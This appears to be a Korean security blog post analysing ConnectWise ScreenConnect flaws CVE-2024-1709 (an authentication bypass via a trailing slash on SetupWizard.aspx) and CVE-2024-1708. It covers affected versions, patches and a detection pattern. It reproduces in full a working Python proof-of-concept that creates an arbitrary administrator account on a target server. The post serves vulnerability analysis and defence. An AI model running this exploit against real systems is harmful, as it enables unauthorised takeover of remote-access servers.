1. ConnectWise ScreenConnect

- 원격 데스크톱 소프트웨어 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-1709 [2]

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> PoC 공개 이후 활발한 공격이 시작되어 시급한 패치 적용이 필요

> 악용에 성공한 공격자는 경로 탐색 취약점을 이용해 원격 코드 실행 가능 (CVE-2024-1708) [3]

영향받는 버전: ConnectWise ScreenConnect 23.9.8 이전 버전

 

2.1 취약점 상세 [4][5]

- Shodan 검색시 약 8,500개의 ConnectWise ScreenConnect 확인

[사진 2] Shodan 검색 화면

 

- SetupModule.cs에는 2 가지 HTTP 필터가 존재

응용 프로그램이 설정되지 않은 경우 모든 요청을 SetupWizard.aspx로 리디렉션

② 응용 프로그램이 설정된 경우 SetupWizard.aspx에 대한 요청을 거부하거나 Administration.aspx로 리디렉션

※ SetupWizard는 초기 사용자와 암호를 생성하는 역할

[사진 3] SetupModule.cs

 

- [사진 3]에서 요청 URL이 SetupWizard.aspx인지 확인하기 위해 string.Equals() 사용

> 요청 URL이 "~/SetupWizard.aspx"인 경우 True

> 하지만, 요청 URL이 "~/SetupWizard.aspx/"인 경우 False

> SetupWizard.aspx에 단순히 "/"만 추가하여도 이미 설치된 후에도 설정 마법사에 액세스할 수 있음

[사진 4] 인증 우회 및 설정 마법사 액세스

 

[사진 5] string.Equals() 결과 비교

 

2.2 CVE-2024-1708

[사진 6] https://nvd.nist.gov/vuln/detail/CVE-2024-1708

 

- 취약한 버전의 ConnectWise ScreenConnect에서 발생하는 경로 탐색 취약점

> 영향받는 버전 상동

> 구체적인 내용은 확인되지 않으나, ZipSlip 공격을 이용한 것으로 판단

 

※ ZipSlip [6]

- 경로 탐색 구문이 포함된 압축 파일을 실행할 때 공격자가 의도한 경로로 원하는 파일을 이동시키는 공격 방법

 

2.3 PoC [7]

- /SetupWizard.aspx/ URL을 이용해 임의의 사용자 계정 생성

※ CVE-2024-1708 PoC는 확인하지 못함 (아래 공격 시연 유튜브 영상 참고)

import requests
import re
import argparse

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        watchtowr-vs-ConnectWise_2024-02-21.py
          - Sonny, watchTowr (sonny@watchTowr.com)
        """

helptext =  """
            Example Usage:
          - python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

			 """

parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", help="target url in the format https://localhost", default=False, action="store", required=True)
parser.add_argument("--username", help="username to add", required=False, action="store")
parser.add_argument("--password", help="password to add (must be at least 8 characters in length)", required=False, action="store")
try:
    args = parser.parse_args()
except:
    print(banner)
    print(helptext)
    raise

print(banner)


requests.urllib3.disable_warnings()


print(f"[*] Target Server: {args.url} ")
print(f"[*] Adding Username: {args.username} ")
print(f"[*] Adding Password: {args.password} ")

initial_request = requests.get(url=args.url+"/SetupWizard.aspx/",verify=False)

viewstate_1 = re.search(r'value="([^"]+)"', initial_request.text).group(1)
viewgen_1 = re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', initial_request.text).group(1)

next_data = {"__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": viewstate_1, "__VIEWSTATEGENERATOR": viewgen_1, "ctl00$Main$wizard$StartNavigationTemplateContainerID$StartNextButton": "Next"}
next_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=next_data, verify=False)

exploit_viewstate = re.search(r'value="([^"]+)"', next_request.text).group(1)
exploit_viewgen =  re.search(r'VIEWSTATEGENERATOR" value="([^"]+)"', next_request.text).group(1)
exploit_data = {"__LASTFOCUS": '', "__EVENTTARGET": '', "__EVENTARGUMENT": '', "__VIEWSTATE": exploit_viewstate, "__VIEWSTATEGENERATOR": exploit_viewgen, "ctl00$Main$wizard$userNameBox": args.username, "ctl00$Main$wizard$emailBox": args.username+"@poc.com", "ctl00$Main$wizard$passwordBox": args.password, "ctl00$Main$wizard$verifyPasswordBox": args.password, "ctl00$Main$wizard$StepNavigationTemplateContainerID$StepNextButton": "Next"}

exploit_request = requests.post(url=args.url+"/SetupWizard.aspx/",data=exploit_data, verify=False)

print(f"[*] Successfully added user")

 

[영상 1] 공격 시연 [8]

 

3. 대응방안

- 벤더사 제공 최신 버전 업데이트 적용 [9]

> 초기 설정이 완료된 경우 SetupWizard에 접근하지 못하도록 변경(접근시 "Already setup"를 출력하는 것으로 판단됨)

> ZIP 파일 콘텐츠를 추출할 때 더욱 엄격한 경로 유효성 검사를 수행하도록 변경

취약점 영향받는 버전 해결 버전
CVE-2024-1709 ConnectWise ScreenConnect 23.9.7 및 이전 버전 23.9.8
CVE-2024-1708

 

- /SetupWizard.aspx/ 탐지 패턴 적용

 

4. 참고

[1] https://screenconnect.connectwise.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-1709
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-1708
[4] https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass
[5] https://www.horizon3.ai/attack-research/red-team/connectwise-screenconnect-auth-bypass-deep-dive/
[6] https://www.hahwul.com/cullinan/zip-slip/
[7] https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc/blob/main/watchtowr-vs-ConnectWise_2024-02-21.py
[8] https://www.youtube.com/watch?v=AWGoGO5jnvY&t=13s
[9] https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
[10] https://www.rapid7.com/blog/post/2024/02/20/etr-high-risk-vulnerabilities-in-connectwise-screenconnect/
[11] https://www.bleepingcomputer.com/news/security/screenconnect-critical-bug-now-under-attack-as-exploit-code-emerges/
[12] https://www.boannews.com/media/view.asp?idx=126959&page=1&kind=1

+ Recent posts